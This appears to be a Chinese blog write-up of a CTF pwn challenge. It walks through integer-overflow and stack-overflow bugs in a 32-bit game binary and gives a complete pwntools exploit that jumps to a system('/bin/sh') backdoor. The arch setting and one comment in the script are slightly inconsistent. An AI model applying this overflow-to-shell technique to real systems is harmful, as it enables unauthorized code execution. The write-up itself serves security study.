TSCTF-J 世界転生

TSCTF-J 世界転生

记一次整型溢出实践

1.整型溢出

引用CTF WiKi中的介绍

在 C 语言中,整数的基本数据类型分为短整型 (short),整型 (int),长整型 (long),这三个数据类型还分为有符号和无符号,每种数据类型都有各自的大小范围,(因为数据类型的大小范围是编译器决定的,所以之后所述都默认是 64 位下使用 gcc-5.4),如下所示:

类型 字节 范围
short int 2byte(word) 0-32767(0-0x7fff)
-32768--1(0x8000-0xffff)
unsigned short int 2byte(word) 0~65535(0-0xffff)
int 4byte(dword) 0-2147483647(0-0x7fffffff)
-2147483648--1(0x80000000-0xffffffff)
unsigned int 4byte(dword) 0-4294967295(0-0xffffffff)
long int 8byte(qword) 正: 0-0x7fffffffffffffff
负: 0x8000000000000000-0xffffffffffffffff
unsigned long int 8byte(qword) 0-0xffffffffffffffff

当程序中的数据超过其数据类型的范围,则会造成溢出,整数类型的溢出被称为整数溢出。

2.逆向分析

2.1使用checksec对elf文件进行简单的分析:

$ checksec /home/merk11/pwn
[*] '/home/merk11/pwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Arch:程序架构为32位

RELRO:可以修改got表

Stack:没有开启栈保护

NX:没有限制栈中数据的执行权限

PIE: 没有开启地址随机化

2.2使用ida静态分析

首先试着本地运行看看,知道基本逻辑为:

1.丢东西可以获取技能点(+pts)

2.使用技能点可以升级技能(-pts)

3.通过某种途径变为上帝

进入ida调试,f5查看伪代码:

1.获取技能点
puts("Goddess: You can later upgrade your skill using these points.");
  v7 = 0;
  v8 = 0;
  while ( !v8 )
  {
    puts("Which thing do you want to lose?\n");
    puts("-- Available Items Only --");
    puts("1. A hair  -  1 pts");
    puts("2. A meal  -  2 pts");
    puts("3. A weapon  -  5 pts");
    puts("4. A teammate  -  10 pts");
    puts("5. YOUR WAIFU  -  50 pts");
    puts("-- Available Items Only --");
    printf("0. Done\nYour Points: %d\nChoice: > ", v7);
    __isoc99_scanf((int)"%d", (int)&v6);
    switch ( v6 )
    {
      case 1:
        ++v7;
        break;
      case 2:
        v7 += 2;
        break;
      case 3:
        v7 += 5;
        break;
      case 4:
        v7 += 10;
        break;
      case 5:
        v7 += 50;
        break;
      default:
        if ( v6 )
        {
          printf("Invalid Choice!");
          exit(1);
        }
        v8 = 1;
        break;
    }
  }
  result = point_checker((unsigned __int8)v7);

我们在最后一行result = point_checker((unsigned __int8)v7)发现了问题.

v7在声明的时候是int类型在这里强制转换成unsigned __int8类型可能会导致整型溢出,这样会导致输入的数字最终值为对256取模运算得到的值。

从二进制的角度来看就是,该函数参数永远只读取v7的二进制末8位

跟进point_checker函数

int __cdecl point_checker(int a1)
{
  int result; // eax

  result = a1;
  if ( (unsigned __int8)a1 > 0x44u )
  {
    printf("You have nothing left to lose. You lose your life.");
    exit(1);
  }
  return result;
}

我们发现只需要满足输入的数字大于0x44u(十进制68)

我们可以根据需要构造类似于(n个1)00000000这样的数字来通过point_checker的验证并且获得一个较大的技能点数(pts)

接着进入升级技能的部分

v8 = 0;
  while ( !v8 )
  {
    puts("Now, make your skill more powerful\n");
    puts("1. [ATK + 10]  -  10 pts");
    puts("2. [COST - 10]  -  20 pts");
    puts("3. [CD - 10]  -  50 pts");
    puts("4. [Shining Effect]  -  100 pts");
    puts("5. [Give it A name]  -  500 pts");
    puts("6. [*Custom Effect*]  -  10000 pts");
    printf("0. Done\nYour Points: %d\n\nChoice: > ", v7);
    __isoc99_scanf((int)"%d", (int)&v6);
    switch ( v6 )
    {
      case 1:
        if ( v7 <= 9 )
        {
          puts("No Points!!");
          exit(1);
        }
        v7 -= 10;
        result = (int)buf;
        strcpy(buf, "[ATK+10]");
        break;
      case 2:
        if ( v7 <= 19 )
        {
          puts("No Points!!");
          exit(1);
        }
        v7 -= 20;
        result = (int)buf;
        strcpy(buf, "[COST-10]");
        break;
      case 3:
        if ( v7 <= 49 )
        {
          puts("No Points!!");
          exit(1);
        }
        v7 -= 50;
        result = (int)buf;
        strcpy(buf, "[CD-10]");
        break;
      case 4:
        if ( v7 <= 99 )
        {
          puts("No Points!!");
          exit(1);
        }
        v7 -= 100;
        result = (int)buf;
        strcpy(buf, "[Shining Effect]");
        break;
      case 5:
        if ( v7 <= 499 )
        {
          puts("No Points!!");
          exit(1);
        }
        v7 -= 500;
        puts("Your skill name length: ");
        __isoc99_scanf((int)"%d", (int)&nbytes);
        if ( (int)nbytes > 9 )
        {
          puts("Too long!");
          exit(1);
        }
        puts("Enter your skill name:");
        read(0, buf, nbytes);
        result = puts(buf);
        break;
      case 6:
        if ( v7 <= 9999 )
        {
          puts("No Points!!");
          exit(1);
        }
        v7 -= 10000;
        puts("Your skill length: ");
        __isoc99_scanf((int)"%d", (int)&nbytes);
        if ( (int)nbytes > 49 )
        {
          puts("Too long!");
          exit(1);
        }
        puts("ENTER YOUR SKILL: ");
        result = read(0, buf, nbytes);
        break;
      default:
        result = v6;
        if ( v6 )
        {
          printf("Wrong Choice!");
          exit(0);
        }
        v8 = 1;
        break;
    }
  }
  return result;

我们可以看到在case 5case 6 中有明显的可利用的整型溢出和栈溢出漏洞

整型溢出: __isoc99_scanf((int)"%d", (int)&nbytes);将nbytes(无符号整型unsigned int)转换为int,我们可以利用下界溢出,可以通过if((int)nbytes > 49)的验证并且由于下界nbyte真实存储值会是一个很大的数,完全满足我们后续的栈溢出命令覆盖。

栈溢出: result = read(0, buf, nbytes)

ssize_t read (int fd, void *buf, size_t nbyte)
##	fd:文件描述符;fd为0从键盘读取
##	buf:指定的缓冲区,即指针,指向一段内存单元;
##	nbyte:要读入文件指定的字节数;
##	read()会把参数fd所指的文件传送nbyte个字节到buf指针所指的内存中。若参数nbyte为0,则read()不会有作用并返回0。

由于这里的nbytes我们已经控制为一个非常大的数,我们可以从键盘中读入大量字符,可以通过buf覆盖函数返回地址将其更改为后门地址,从而获取shell。

查看ida中栈空间详情

-0000004C nbytes          dd ?
-00000048                 db ? ; undefined
-00000047 buf             db ?
-00000046                 db ? ; undefined
-00000045                 db ? ; undefined
-00000044                 db ? ; undefined
-00000043                 db ? ; undefined
-00000042                 db ? ; undefined
-00000041                 db ? ; undefined
-00000040                 db ? ; undefined
-0000003F                 db ? ; undefined
-0000003E                 db ? ; undefined
-0000003D                 db ? ; undefined
-0000003C                 db ? ; undefined
-0000003B                 db ? ; undefined
-0000003A                 db ? ; undefined
-00000039                 db ? ; undefined
-00000038                 db ? ; undefined
-00000037                 db ? ; undefined
-00000036                 db ? ; undefined
-00000035                 db ? ; undefined
-00000034                 db ? ; undefined
-00000033                 db ? ; undefined
-00000032                 db ? ; undefined
-00000031                 db ? ; undefined
-00000030                 db ? ; undefined
-0000002F                 db ? ; undefined
-0000002E                 db ? ; undefined
-0000002D                 db ? ; undefined
-0000002C                 db ? ; undefined
-0000002B                 db ? ; undefined
-0000002A                 db ? ; undefined
-00000029                 db ? ; undefined
-00000028                 db ? ; undefined
-00000027                 db ? ; undefined
-00000026                 db ? ; undefined
-00000025                 db ? ; undefined
-00000024                 db ? ; undefined
-00000023                 db ? ; undefined
-00000022                 db ? ; undefined
-00000021                 db ? ; undefined
-00000020                 db ? ; undefined
-0000001F                 db ? ; undefined
-0000001E                 db ? ; undefined
-0000001D                 db ? ; undefined
-0000001C                 db ? ; undefined
-0000001B                 db ? ; undefined
-0000001A                 db ? ; undefined
-00000019                 db ? ; undefined
-00000018                 db ? ; undefined
-00000017                 db ? ; undefined
-00000016                 db ? ; undefined
-00000015                 db ? ; undefined
-00000014 var_14          dd ?
-00000010 var_10          dd ?
-0000000C var_C           dd ?
-00000008 anonymous_0     dd ?
-00000004                 db ? ; undefined
-00000003                 db ? ; undefined
-00000002                 db ? ; undefined
-00000001                 db ? ; undefined
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)

可以看到buf到我们的返回地址r的距离为0x47+0x04个字节,于是我们可以构想payload:

0x4B个字节的填充物+后门地址

寻找后门地址

在ida中查看发现后门并寻找地址:

int goddess_b4ckd00r()
{
  puts("When you become a god, why don't you just go that straight?");
  return system("/bin/sh");
}

这个后门并没有增加额外的难度直接就给了system("/bin/sh")

text:0804984A                 public goddess_b4ckd00r

3.编写完整的exp

from pwn import *
backdoor=0x804984A
payload=b'a'*(0x47+0x4)+p32(backdoor)
context(os='linux',arch='arm64',log_level = 'debug')
p=process("./pwn")
for i in range(323):                 ##   这里输入的数字十进制161510
	p.recvuntil("Choice: >")         ## 二进制11111100010110
	p.sendline("5")
p.recvuntil("Choice: >")
p.sendline("0")
p.recvuntil("Choice: >")
p.sendline("6")
p.recvuntil("Your skill length:")
p.sendline("-1")
p.recvuntil("ENTER YOUR SKILL:")
p.sendline(payload)
p.interactive()

最终得到了耐人寻味的一句话

[DEBUG] Received 0x3c bytes:
    b"When you become a god, why don't you just go that straight?\n"
When you become a god, why don't you just go that straight?

当然我们已经得到shell,下一步直接cat flag就OK了,但是本人是赛后本地做题,于是与flag擦肩而过了。

posted @ 2022-10-19 18:11  merk11  阅读(87)  评论(0)    收藏  举报
Live2D